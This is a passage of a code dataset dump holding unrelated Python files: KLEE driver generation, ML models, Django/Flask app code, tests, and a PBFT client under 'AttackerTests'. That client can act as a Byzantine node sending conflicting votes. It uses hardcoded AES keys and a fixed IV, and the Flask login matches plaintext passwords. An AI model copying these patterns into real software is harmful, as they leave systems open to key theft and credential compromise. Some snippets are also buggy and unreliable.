\\\"__cs_pc_cs\\\");\\n\" % (i, self.__lines[t] + 1)\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_pc[%s] = __cs_pc_cs;\\n\" % (i)\n main +=\" }\\n\\n\"\n i += 1\n\n\n ''' Last called to main\n '''\n\n # For the last call to main thread\n main +=\" if (__cs_active_thread[0] == 1) {\\n\"\n main +=\" __cs_pc_cs = klee_range(__cs_pc[0], %s, \\\"__cs_pc_cs\\\");\\n\" % (self.__lines['main'] + 1)\n main +=\" main_thread();\\n\"\n main +=\" }\\n\"\n main += \" return 0;\\n\"\n main += \"}\\n\\n\"\n\n return main\n\n def __createMainKLEERoundRobin(self, ROUNDS):\n ''' New main driver:\n '''\n main = ''\n main += \"int main(void) {\\n\"\n\n ''' First round (round 0)\n '''\n round = 0\n # Main thread\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" __cs_pc_cs[0] = klee_range(1, %s, \\\"__cs_pc_cs[0]\\\");\\n\" % (self.__lines['main'] + 1)\n main +=\" main_thread();\\n\"\n main +=\" __cs_pc[0] = __cs_pc_cs[0];\\n\"\n main +=\"\\n\"\n # Other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" if (__cs_active_thread[%s]) {\\n\" % (i)\n main +=\" __cs_pc_cs[%s] = klee_range(0, %s, \\\"__cs_pc_cs[%s]\\\");\\n\" % (i, self.__lines[t] + 1, i)\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_pc[%s] = __cs_pc_cs[%s];\\n\" % (i, i)\n main +=\" }\\n\\n\"\n i += 1\n\n ''' Other rounds\n '''\n for round in range(1, ROUNDS):\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n # For main thread\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" if (__cs_active_thread[0]) {\\n\"\n main +=\" __cs_pc_cs[0] = klee_range(__cs_pc[0], %s, \\\"__cs_pc_cs[0]\\\");\\n\" % (self.__lines['main'] + 1)\n main +=\" main_thread();\\n\"\n main +=\" __cs_pc[0] = __cs_pc_cs[0];\\n\"\n main +=\" }\\n\\n\"\n main +=\"\\n\"\n # For other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" if (__cs_active_thread[%s]) {\\n\" % (i)\n main +=\" __cs_pc_cs[%s] = klee_range(__cs_pc[%s], %s, \\\"__cs_pc_cs[%s]\\\");\\n\" % (i, i, self.__lines[t] + 1, i)\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_pc[%s] = __cs_pc_cs[%s];\\n\" % (i, i)\n main +=\" }\\n\\n\"\n i += 1\n\n\n ''' Last called to main\n '''\n\n # For the last call to main thread\n main +=\" if (__cs_active_thread[0] == 1) {\\n\"\n main +=\" __cs_pc_cs[0] = klee_range(__cs_pc[0], %s, \\\"__cs_pc_cs[0]\\\");\\n\" % (self.__lines['main'] + 1)\n main +=\" main_thread();\\n\"\n main +=\" }\\n\"\n main += \" return 0;\\n\"\n main += \"}\\n\\n\"\n\n return main\n\n\n # Checks whether variable v from function f is a pointer.\n #\n def __isPointer(self, f, v):\n if self.__donotcheckpointer: return False\n if v in self.Parser.varNames[f] and self.Parser.varType[f,v].endswith('*'): return True\n elif v in self.Parser.varNames[''] and self.Parser.varType['',v].endswith('*'): return True\n else: return False\n\n\n # Checks whether variable v from function f is global.\n #\n def __isGlobal(self, f, v):\n if (v in self.Parser.varNames[''] and v not in self.Parser.varNames[f]): return True\n else: return False\n\n\n # Check whether the given AST node accesses global memory or uses a pointer.\n #\n # TODO: this overapproximation is very rough,\n # (variable dependency, pointer analysis etc,\n # could be useful for refinement)\n #\n def __globalAccess(self, stmt):\n if self.__atomic: return False # if between atomic_begin() and atomic_end() calls no context switchs needed..\n\n oldStmtCount = self.__stmtCount # backup counters\n oldMaxInCompound = self.__maxInCompound\n oldGlobalMemoryAccessed = self.__globalMemoryAccessed\n\n globalAccess = False\n self.__globalMemoryAccessed = False\n\n if type(stmt) not in (pycparser.c_ast.If, ):\n tmp = self._generate_stmt(stmt)\n else:\n tmp = self._generate_stmt(stmt.cond)\n\n globalAccess = self.__globalMemoryAccessed\n\n self.__stmtCount = oldStmtCount # restore counters\n self.__maxInCompound = oldMaxInCompound\n self.__globalMemoryAccessed = oldGlobalMemoryAccessed\n\n return globalAccess\n\n","sub_path":"examples/litmus/c/lazy-cseq-2.0/modules/lazyseqnewschedule.py","file_name":"lazyseqnewschedule.py","file_ext":"py","file_size_in_byte":79767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"920568","text":"import cv2\n\nimg_path = 'F:\\OpenCVDataSet\\misc\\lena_color_256.tif'\nimg = cv2.imread(img_path)\ncv2.imshow('Lena', img)\n\n'''\nIMAGE PYRAMID EX:\n'''\nsmaller = cv2.pyrDown(img)\nlarger = cv2.pyrUp(img)\ncv2.imshow('Smaller', smaller)\ncv2.imshow('Larger', larger)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()","sub_path":"openCV_basic_concept/image-pyramid.py","file_name":"image-pyramid.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"408964984","text":"import pandas\nfrom sklearn import linear_model \n\n\n#read csv file using pandas## pd.read_csv is also fine\ndataset = pandas.read_csv(\"dataset_3_outputs.csv\")\n#set everything equals to a variable called 'dataset', and it will contain everything incide it\n\n#print(dataset)\n\n#read the first collumn\n#0- 0 collumn\n# : you target for the whole collumn\n# [0,0] is for collumn 0 and row 0, which locates a single number. to reveal it, dont need to include \".values\"1d\ntarget = dataset.iloc[:,0].values\ntarget1 = dataset.iloc[0,0]\n\ndata = dataset.iloc[:,3:9].values\n# 6 collumn\n\n#print(data)\n\nmachine = linear_model.LinearRegressoin() \n#set up linear machine#\nmachine.fit(data, target)\n\nprint(machine)\n\n#same collumn with the my data\nnew_data = [\n\t[0.01, -0.2, 0.5, 1.1, 0, 0],#1st object\n\t[-0.5, -0.1, 0.44, -0.9, 1, 0.5] #2nd object\n]\n\nnew_target = machine.predict(new_data)\n\nprint(new_target)\n\n\n","sub_path":"run_regression.py","file_name":"run_regression.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"27281952","text":"import os\nimport unittest\nfrom openeo_pg_parser.translate import translate_process_graph\n\n\nclass TranslateTester(unittest.TestCase):\n \"\"\" Testing the module `translate` for different process graph translations. \"\"\"\n\n def setUp(self):\n \"\"\" Setting up variables for one test. \"\"\"\n self.pg_dirpath = os.path.join(os.path.dirname(__file__), 'process_graphs')\n self.uc1_polarization_pg_filepath = os.path.join(self.pg_dirpath, \"s1_uc1_polarization.json\")\n self.non_existing_filepath = os.path.join(self.pg_dirpath, \"does_not_exist.json\")\n\n def test_translate_process_graph(self):\n \"\"\" Translates a process graph from openEO syntax to a Python traversable object. \"\"\"\n\n graph = translate_process_graph(self.uc1_polarization_pg_filepath)\n print(graph)\n assert True\n\n def test_process_graph_not_found(self):\n \"\"\" Checks if an error is thrown when a process graph file cannot be found. \"\"\"\n\n try:\n translate_process_graph(self.non_existing_filepath)\n except FileNotFoundError:\n assert True\n\n def test_from_global_parameter(self):\n \"\"\" Tests parsing of a globally defined parameter. \"\"\"\n global_parameter_filepath = os.path.join(self.pg_dirpath, \"s2_max_ndvi_global_parameter.json\")\n parameters = {'test_from_parameter': 3}\n graph = translate_process_graph(global_parameter_filepath, parameters=parameters)\n\n assert graph['ndvi_6'].arguments['y'] == 3\n\n def test_from_local_parameter(self):\n \"\"\" Tests parsing of a locally defined parameter. \"\"\"\n local_parameter_filepath = os.path.join(self.pg_dirpath, \"s2_max_ndvi_local_parameter.json\")\n graph = translate_process_graph(local_parameter_filepath)\n\n assert graph['ndvi_6'].arguments['y'] == 3\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"tests/test_translate.py","file_name":"test_translate.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"487030138","text":"from summer.model import StratifiedModel\nfrom autumn.constants import Compartment, BirthApproach\nfrom autumn.tool_kit.scenarios import get_model_times_from_inputs\n\n\ndef build_model(params: dict) -> StratifiedModel:\n \"\"\"\n Build the master function to run a simple SIR model\n \"\"\"\n compartments = [\n Compartment.SUSCEPTIBLE,\n Compartment.INFECTIOUS,\n Compartment.RECOVERED,\n ]\n\n flows = [\n {\n \"type\": \"infection_frequency\",\n \"parameter\": \"contact_rate\",\n \"origin\": Compartment.SUSCEPTIBLE,\n \"to\": Compartment.INFECTIOUS,\n },\n {\n \"type\": \"standard_flows\",\n \"parameter\": \"recovery_rate\",\n \"origin\": Compartment.INFECTIOUS,\n \"to\": Compartment.RECOVERED,\n },\n ]\n\n integration_times = get_model_times_from_inputs(\n round(params[\"start_time\"]), params[\"end_time\"], params[\"time_step\"]\n )\n\n init_conditions = {Compartment.INFECTIOUS: 1}\n\n sir_model = StratifiedModel(\n integration_times,\n compartments,\n init_conditions,\n params,\n flows,\n infectious_compartment=(Compartment.INFECTIOUS,),\n birth_approach=BirthApproach.NO_BIRTH,\n starting_population=1000000,\n )\n\n return sir_model\n","sub_path":"apps/sir_example/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"198510686","text":"import math\nimport time\nimport socket\nimport sys\nimport select\nimport pickle\nimport datetime\nimport pdb\nfrom Crypto.Cipher import AES\nfrom Crypto import Random\n\ndef roundup(x):\n return int(math.ceil(x / 10.0)) * 10\n\nN = 4\n\nIV = b'\\xa2\\xae\\x8b\\xbd\\xa5GJF\\x13\\xd9!\\xd6\\xad\\x13\\xe8\\xa5'\n\ncid = sys.argv[1]\nSERVER = sys.argv[2]\nPORT = sys.argv[3]\nBYZANTINE = sys.argv[4]\n\nkeys = {\n\t\t\t1: {2: b'Fixteen syte key', 3: b'Bixteen yyte key', 'server': b'Sixteen byte key'}, \n\t\t\t2: {1: b'Fixteen syte key', 3: b'Bilteen byte key', 'server': b'Sixteen syte key'},\n\t\t\t3: {1: b'Bixteen yyte key', 2: b'Bilteen byte key', 'server': b'Bixteen byte key'}\n\t\t}\n\nclient = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\nintro = \"REGISTER_REQUEST \"+str(cid)\nintro = intro.encode()\n\nclient.sendto(intro, (SERVER, int(PORT)))\n\nresponse, address = client.recvfrom(1024)\nneighbors = pickle.loads(response)\nprint(neighbors)\n\nport_mapper = dict()\nfor i in neighbors:\n\tport_mapper[i[2]] = i[0]\n\nport_mapper[int(PORT)] = 'server'\n\nSTAGE = 'PRE' \nmatch_message = \"\"\nmessages = []\nNEW_MESSAGE = False\n\n\nwhile 1:\n\t\tinputready, outputready, exceptrdy = select.select([0, client], [],[], 0.5)\n\n\t\tfor i in inputready:\n\t\t\tif NEW_MESSAGE:\n\t\t\t\tNEW_MESSAGE = False\n\t\t\t\tmessages = []\n\n\t\t\tdata, address = client.recvfrom(1024)\n\t\t\tport = address[1]\n\t\t\tcipher = AES.new(keys[int(cid)][port_mapper[port]], AES.MODE_EAX, IV)\n\t\t\tplaintext = cipher.decrypt(data)\n\t\t\tdata = plaintext[:-plaintext[-1]]\n\t\t\tprint(messages)\n\t\t\tmessages.append(data.decode())\n\n\t\tif not (inputready or outputready or exceptrdy):\n\t\t\tif STAGE == 'PRE':\n\t\t\t\tmatch_message = \"PREP10\".encode()\n\t\t\t\tif BYZANTINE == 'n':\n\t\t\t\t\tlength = 16 - (len(match_message) % 16)\n\t\t\t\t\tmatch_message += bytes([length])*length\n\t\t\t\t\tfor i in neighbors:\n\t\t\t\t\t\tcipher = AES.new(keys[int(cid)][i[0]], AES.MODE_EAX, IV)\n\t\t\t\t\t\tciphertext = cipher.encrypt(match_message)\n\t\t\t\t\t\tclient.sendto(ciphertext, (i[3], i[2]))\n\n\t\t\t\t\tcipher = AES.new(keys[int(cid)]['server'], AES.MODE_EAX, IV)\n\t\t\t\t\tciphertext = cipher.encrypt(match_message)\n\t\t\t\t\tclient.sendto(ciphertext, (SERVER, int(PORT)))\n\n\t\t\t\tif BYZANTINE == 'y':\n\t\t\t\t\tmatch = \"PREP11\".encode()\n\t\t\t\t\tlength = 16 - (len(match) % 16)\n\t\t\t\t\tmatch += bytes([length])*length\n\t\t\t\t\tfor i in neighbors:\n\t\t\t\t\t\tcipher = AES.new(keys[int(cid)][i[0]], AES.MODE_EAX, IV)\n\t\t\t\t\t\tciphertext = cipher.encrypt(match)\n\t\t\t\t\t\tclient.sendto(ciphertext, (i[3], i[2]))\n\n\t\t\t\t\tcipher = AES.new(keys[int(cid)]['server'], AES.MODE_EAX, IV)\n\t\t\t\t\tciphertext = cipher.encrypt(match)\n\t\t\t\t\tclient.sendto(ciphertext, (SERVER, int(PORT)))\n\t\t\t\t\n\t\t\t\tSTAGE = 'PREP'\n\t\t\t\tprint(\"Sent prepare\")\n\t\t\t\t\t\t\n\n\t\t\telif STAGE == 'PREP':\n\t\t\t\tmatch_message = \"PREP10\"\n\t\t\t\tif len([match for match in messages if match == \"PREP11\"]) >= 100 or len([match for match in messages if match == \"PREP10\"]) >= 2:\n\t\t\t\t\tmatch_message = \"COMMIT10\".encode()\n\t\t\t\t\tif BYZANTINE == 'n':\n\t\t\t\t\t\tlength = 16 - (len(match_message) % 16)\n\t\t\t\t\t\tmatch_message += bytes([length])*length\n\t\t\t\t\t\tfor i in neighbors:\n\t\t\t\t\t\t\tcipher = AES.new(keys[int(cid)][i[0]], AES.MODE_EAX, IV)\n\t\t\t\t\t\t\tciphertext = cipher.encrypt(match_message)\n\t\t\t\t\t\t\tclient.sendto(ciphertext, (i[3], i[2]))\n\n\t\t\t\t\t\tcipher = AES.new(keys[int(cid)]['server'], AES.MODE_EAX, IV)\n\t\t\t\t\t\tciphertext = cipher.encrypt(match_message)\n\t\t\t\t\t\tclient.sendto(ciphertext, (SERVER, int(PORT)))\n\n\t\t\t\t\tif BYZANTINE == 'y':\n\t\t\t\t\t\tmatch = \"COMMIT11\".encode()\n\t\t\t\t\t\tlength = 16 - (len(match) % 16)\n\t\t\t\t\t\tmatch += bytes([length])*length\n\t\t\t\t\t\tfor i in neighbors:\n\t\t\t\t\t\t\tcipher = AES.new(keys[int(cid)][i[0]], AES.MODE_EAX, IV)\n\t\t\t\t\t\t\tciphertext = cipher.encrypt(match)\n\t\t\t\t\t\t\tclient.sendto(ciphertext, (i[3], i[2]))\n\n\t\t\t\t\t\tcipher = AES.new(keys[int(cid)]['server'], AES.MODE_EAX, IV)\n\t\t\t\t\t\tciphertext = cipher.encrypt(match)\n\t\t\t\t\t\tclient.sendto(ciphertext, (SERVER, int(PORT)))\n\n\t\t\t\t\tprint(\"Sent commit\")\n\t\t\t\t\tSTAGE = 'COMMIT'\n\n\n\t\t\telif STAGE == 'COMMIT':\n\t\t\t\tif BYZANTINE == 'n':\n\t\t\t\t\tmatch_message = \"COMMIT10\"\n\t\t\t\t\tif len([match for match in messages if match == \"PREP11\"]) >= 100 or len([match for match in messages if match == \"COMMIT10\"]) >= 2:\n\t\t\t\t\t\tNEW_MESSAGE = True\n\t\t\t\t\t\tprint(\"committed \", match_message)\n\t\t\t\t\t\tSTAGE = 'PRE'\n\t\t\t\t\t\tprint(\"DONE\")\n\n\t\t\t\tif BYZANTINE == 'y':\n\t\t\t\t\tNEW_MESSAGE = True\n\t\t\t\t\tprint(\"committed \", match_message)\n\t\t\t\t\tSTAGE = 'PRE'\n\t\t\t\t\tprint(\"DONE\")\n\t\t\t\t\n\t\t\t\tt = datetime.datetime.utcnow()\n\t\t\t\tnow = t.second + t.microsecond/1000000.0\n\t\t\t\tfuture = roundup(now)\n\t\t\t\tsleeptime = future - now\n\t\t\t\ttime.sleep(sleeptime)","sub_path":"SocketProgramming/PBFT/AttackerTests/test_conn.py","file_name":"test_conn.py","file_ext":"py","file_size_in_byte":4468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"230807697","text":"from django.utils.encoding import python_2_unicode_compatible\nfrom django.core.validators import MinValueValidator\nfrom django.db import models\n\nfrom mapping.common.mixins import TimestampsMixin\n\n\n@python_2_unicode_compatible\nclass Company(TimestampsMixin):\n \"Company\"\n name = models.CharField(\n 'company name',\n max_length=150,)\n\n is_active = models.BooleanField(\n 'active',\n help_text='Company status',\n default=False,)\n\n user_limit = models.PositiveSmallIntegerField(\n 'user limit',\n help_text='Max. number of users allowed',\n default=10,\n validators=[MinValueValidator(1)],)\n\n class Meta:\n verbose_name_plural = 'Companies'\n\n def __str__(self):\n return self.name\n","sub_path":"mapping/accounts/models/company.py","file_name":"company.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"651111920","text":"# -*- coding:utf-8 -*-\nfrom urllib.parse import urlparse, parse_qs\n\nfrom attrdict import AttrDict\nfrom flask import Blueprint\nfrom flask import request\nfrom flask_login import login_user, current_user\n\nfrom meier_app.commons.jwt_token import TokenInfo, create_token\nfrom meier_app.commons.logger import logger\nfrom meier_app.commons.response_data import ResponseData, HttpStatusCode\nfrom meier_app.extensions import db\nfrom meier_app.models.settings import Settings\nfrom meier_app.models.user import User\nfrom meier_app.resources.admin import base\n\nadmin_user_api = Blueprint('admin_user_api', __name__, url_prefix='/admin/user/api')\n\n\n@admin_user_api.route('/user_info', methods=['GET'])\n@base.api_exception_handler\ndef user_info_api():\n user = User.query.filter(User.email == current_user.email).scalar()\n if user is None:\n raise Exception('user_info is none.')\n return ResponseData(code=HttpStatusCode.SUCCESS, data=user.for_user_info).json\n\n\n@admin_user_api.route('/user_info', methods=['PUT'])\n@base.api_exception_handler\ndef update_user_info_api():\n logger.debug(request.headers)\n logger.debug(request.get_json())\n User.query.filter(User.email == current_user.email).update(request.get_json())\n db.session.commit()\n return ResponseData(code=HttpStatusCode.SUCCESS).json\n\n\n@admin_user_api.route('/login', methods=['POST'])\n@base.api_exception_handler\ndef login_api():\n logger.debug(request.referrer)\n req_data = AttrDict(request.get_json())\n logger.debug(req_data)\n settings = Settings.query.first()\n if req_data.email and req_data.password:\n user = User.query.filter(User.email == req_data.email.strip()) \\\n .filter(User.password == req_data.password.strip()).scalar()\n if user:\n token = create_token(token_info=TokenInfo(\n user_name=user.user_name,\n email=user.email,\n profile_image=user.profile_image,\n blog_title=settings.blog_title if settings else None\n ))\n\n user.token = token\n login_user(user)\n next = '/admin/contents'\n if request.referrer:\n url_parsed = urlparse(url=request.referrer)\n if url_parsed.query:\n parsed_qs = parse_qs(url_parsed.query)\n next = parsed_qs.get('next', ['/admin/contents'])[0]\n return ResponseData(code=HttpStatusCode.SUCCESS, data={'next': next}).json\n else:\n return ResponseData(code=HttpStatusCode.INVALID_AUTHORIZATION).json\n else:\n return ResponseData(code=HttpStatusCode.INVALID_AUTHORIZATION).json\n","sub_path":"meier_app/resources/admin/user/user_api.py","file_name":"user_api.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"210155590","text":"from keras.layers import Input, Dense, Dropout, Flatten, merge, Reshape\nfrom keras.layers import Convolution1D, MaxPooling1D\nfrom keras.models import Model\nfrom keras.layers import Activation, Dropout, Embedding,Bidirectional, Highway\nfrom keras.layers import LSTM,TimeDistributed\nfrom keras.layers.normalization import BatchNormalization\n\ndef build_cnn_blstm_vec(input_set_size, width, height, mul_nb_classes, matrix):\n\tprint('cnn-blstm-vec model building...')\n\tinputs = Input(shape=(height,),dtype='int32')\n\t#embedd = Embedding(input_set_size, width, input_length=height)(inputs)\n\tembedd = Embedding(input_set_size, width,\n weights=[matrix],\n input_length=height,\n trainable=False)(inputs)\n\t\n\t# conv\n\tconv1_1 = Convolution1D(64, 3, border_mode='same', activation='relu')(embedd)\n\tbn1 = BatchNormalization(mode=1)(conv1_1)\n\tpool1 = MaxPooling1D(pool_length=2)(bn1)\n\tdrop1 = Dropout(0.2)(pool1)\n\t\t\n\t# 2 conv\n\tconv2_1 = Convolution1D(128, 2, border_mode='same', activation='relu')(drop1)\n\tbn2 = BatchNormalization(mode=1)(conv2_1)\n\tpool2 = MaxPooling1D(pool_length=2)(bn2)\n\tdrop2 = Dropout(0.2)(pool2)\n\n\t\n\t# 3 conv\n\tconv3_1 = Convolution1D(192, 2, border_mode='same', activation='relu')(drop2)\n\tbn3 = BatchNormalization(mode=1)(conv3_1)\n\t#pool3 = MaxPooling1D(pool_length=2)(bn3)\n\tdrop3 = Dropout(0.1)(bn3)\n\t'''\t\n\t# 4 conv\n\tconv4_1 = Convolution1D(192, 2, border_mode='same', activation='relu')(drop3)\n\tbn4 = BatchNormalization(mode=1)(conv4_1)\n\t#pool4 = MaxPooling1D(pool_length=2)(bn4)\n\tdrop4 = Dropout(0.1)(bn4)\n\t'''\n\t#b = merge([bn4, drop3], mode='concat')\n\t# blstm\n\tblstm = Bidirectional(LSTM(256, return_sequences=False), merge_mode='sum')(drop3)\n\tdrop = Dropout(0.5)(blstm)\n\t\n\t\n\t# highway\n\t#highway = Highway(128)(drop)\n\t'''\n\t# 3 conv\n\tconv3_1 = Convolution1D(64, 2, border_mode='same', activation='relu')(dropb)\n\tbn3 = BatchNormalization(mode=1)(conv3_1)\n\tpool3 = MaxPooling1D(pool_length=2)(bn3)\n\tdrop3 = Dropout(0.1)(bn3)\n\t#flat = Flatten()(drop3)\n\t'''\n\t\n # output\n\tout1 = Dense(mul_nb_classes[0], activation='sigmoid')(drop)\n\tmerged1 = merge([out1, drop], mode='concat')\n\tout2 = Dense(mul_nb_classes[1], activation='sigmoid')(merged1)\n\tmerged2 = merge([out2, drop], mode='concat')\n\tout3 = Dense(mul_nb_classes[2], activation='sigmoid')(merged2)\n\tmerged3 = merge([out3, drop], mode='concat')\n\tout4 = Dense(mul_nb_classes[3], activation='sigmoid')(merged3)\n\n\tout = [out1, out2, out3, out4]\n\tmodel = Model(input=[inputs], output=out)\n\tmodel.summary()\n\tmodel.compile(loss='binary_crossentropy',\n optimizer='adam',\n metrics=['accuracy'],\n )\n\tprint(\"cnn-blstm-vec model has built.\")\n\treturn model\n\n","sub_path":"model/clstm_vec.py","file_name":"clstm_vec.py","file_ext":"py","file_size_in_byte":2789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"355137029","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('product', '0019_auto_20160110_1905'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Order',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('order_time', models.DateTimeField(auto_now_add=True)),\n ('street', models.CharField(max_length=255)),\n ('house_number', models.PositiveIntegerField()),\n ('zipcode', models.PositiveIntegerField()),\n ('city', models.CharField(max_length=40, blank=True)),\n ('phone_number', models.CharField(max_length=20)),\n ('order_status', models.PositiveIntegerField(default=1, verbose_name=b'Order Status', choices=[(1, b'Pending'), (2, b'Processed'), (3, b'Shipped'), (4, b'Done')])),\n ('payment_status', models.PositiveIntegerField(default=1, verbose_name=b'Payment Status', choices=[(1, b'unpaid'), (2, b'paid')])),\n ],\n ),\n ]\n","sub_path":"product/migrations/0020_order.py","file_name":"0020_order.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"90226761","text":"import wolframalpha\nfrom app.mac import mac, signals\nfrom modules.wolfram import config\n\n'''\nSignals this module listents to:\n1. When a message is received (signals.message_received)\n==========================================================\n'''\n@signals.message_received.connect\ndef handle(message):\n request = shoudl_answer(message)\n if request != '':\n mac.send_message(wolfram_answer(request), message.conversation)\n\n\n'''\nActual module code\n==========================================================\n'''\ndef wolfram_answer(message):\n app_id = config.api_key\n client = wolframalpha.Client(app_id)\n answer = \"\"\n try:\n res = client.query(message)\n if hasattr(res, 'pods'):\n answer = next(res.results).text\n else:\n answer = \"I don't have an answer for that\"\n except:\n answer = \"I cannot show the answer here\"\n \n # Hehe\n if answer == \"I was created by Stephen Wolfram and his team.\":\n answer = \"Daniel Cardenas created me but I get these answers from an engine made by Stephen Wolfram and his team.\"\n \n return answer\n \ndef shoudl_answer(message):\n if message.message[:4].lower() == 'mac,':\n return message.message[4:].strip()\n elif message.message[:3].lower() == 'mac':\n return message.message[3:].strip()\n else:\n return \"\"","sub_path":"modules/wolfram/wolfram_mac.py","file_name":"wolfram_mac.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"453875837","text":"import logging\nimport json\n\nclass ParserError(Exception):\n pass\n\n\nclass Tokens:\n NONE = 'NONE'\n IGNORE = 'IGNORE'\n\nclass TokenBuffer:\n def __init__(self, tokens):\n self.tokens = tokens[:]\n self.pointer = 0\n\n #TODO: add increment, decrement and access, and to_bool\n\ndef any_of(*accepts):\n def f(tokens):\n\n for accept in accepts:\n tokens, result = accept(tokens)\n if result not in [Tokens.NONE, Tokens.IGNORE]:\n return tokens, result\n\n return tokens, Tokens.NONE\n\n return f\n\ndef all_of(*accepts):\n def f(tokens):\n orig = tokens[:]\n results = []\n for accept in accepts:\n tokens, result = accept(tokens)\n if result == Tokens.NONE:\n return orig, Tokens.NONE\n elif result == Tokens.IGNORE:\n continue\n else:\n results += [result]\n\n return tokens, results\n\n return f\n\ndef many_of(accept):\n def f(tokens):\n results = []\n while tokens:\n tokens, result = accept(tokens)\n if result == Tokens.NONE:\n break\n elif result == Tokens.IGNORE:\n continue\n else:\n results += [result]\n return tokens, results\n return f\n\ndef maybe(accept):\n def f(tokens):\n tokens, result = accept(tokens)\n if result == Tokens.NONE:\n result = Tokens.IGNORE\n return tokens, result\n return f\n\ndef supress(accept):\n def f(tokens):\n tokens, result = accept(tokens)\n if result != Tokens.NONE:\n result = Tokens.IGNORE\n return tokens, result\n return f\n\ndef ignore(accept):\n def f(tokens):\n tokens, result = accept(tokens)\n return tokens, Tokens.IGNORE\n return f\n\ndef no_leading_nl(accept):\n def f(tokens):\n _, token = get_first_token(tokens, ignore=['WS', 'COMMENT'])\n if token == 'NL':\n return tokens, Tokens.IGNORE\n tokens, result = accept(tokens)\n return tokens, result\n return f\n\ndef interlace(accept, delimeter):\n def f(tokens):\n\n results = []\n tokens, result = accept(tokens)\n if result == Tokens.NONE:\n return tokens, Tokens.NONE\n elif result == Tokens.IGNORE:\n pass\n else:\n results += [result]\n\n while True:\n tokens, result = all_of(delimeter, accept)(tokens)\n if result == Tokens.NONE:\n break\n\n results += [result[-1]]\n\n return tokens, results\n return f\n\n\n#TODO: I don't think these are right\nsupress_many_or_zero = lambda accept: supress(many_of(accept))\nignore_many = lambda accept: ignore(many_of(accept))\nsupress_many = lambda accept: all_of(supress(accept), supress_many(accept))\n\n\ndef get_first_token(tokens, ignore=None):\n if ignore == None:\n ignore = ['WS', 'NL', 'COMMENT']\n\n i = 0\n try:\n while tokens[i]['type'] in ignore:\n i += 1\n except IndexError:\n return tokens, None\n\n return tokens[i+1:], tokens[i]\n\n\ndef accept_token(types, ignore=None):\n if ignore == None:\n ignore = ['WS', 'NL', 'COMMENT']\n\n def f(tokens):\n next_tokens, next_token = get_first_token(tokens, ignore)\n\n if isinstance(types, str):\n my_types = [types]\n elif isinstance(types, list):\n my_types = types\n\n if next_token is None:\n return tokens, Tokens.NONE\n\n if next_token['type'] in my_types:\n return next_tokens, {\n 'type': next_token['type'].lower(),\n 'value': next_token['text'],\n }\n\n return tokens, Tokens.NONE\n return f\n\ng_indent = 0\n\ndef debug_accept(accept):\n def f(tokens):\n global g_indent\n\n if g_indent == 0:\n indentation = ' '\n else:\n indentation = (g_indent - 1) * ' ' + '< '\n\n logging.debug('%saccepting: %s -> %s', indentation, accept.__name__, get_first_token(tokens)[1])\n g_indent += 1\n tokens, result = accept(tokens)\n g_indent -= 1\n\n if g_indent == 0:\n indentation = ' '\n else:\n indentation = (g_indent - 1) * ' ' + '> '\n\n if result == Tokens.NONE:\n logging.debug('%sfailed: %s', indentation, accept.__name__)\n elif result == Tokens.IGNORE:\n logging.debug('%signored: %s', indentation, accept.__name__)\n else:\n logging.debug('%saccepted: %s -> %s', indentation, accept.__name__, result)\n\n return tokens, result\n\n return f\n\n@debug_accept\ndef accept_def(tokens): return accept_token('DEF')(tokens)\n@debug_accept\ndef accept_id(tokens): return accept_token('ID')(tokens)\n@debug_accept\ndef accept_ws(tokens): return accept_token('WS')(tokens)\n@debug_accept\ndef accept_nl(tokens): return accept_token('NL')(tokens)\n@debug_accept\ndef accept_comma(tokens): return accept_token('COMMA')(tokens)\n@debug_accept\ndef accept_equal(tokens): return accept_token('EQUAL')(tokens)\n\n@debug_accept\ndef accept_left_curly(tokens): return accept_token('L_CURLY')(tokens)\n@debug_accept\ndef accept_right_curly(tokens): return accept_token('R_CURLY')(tokens)\n@debug_accept\ndef accept_left_square(tokens): return 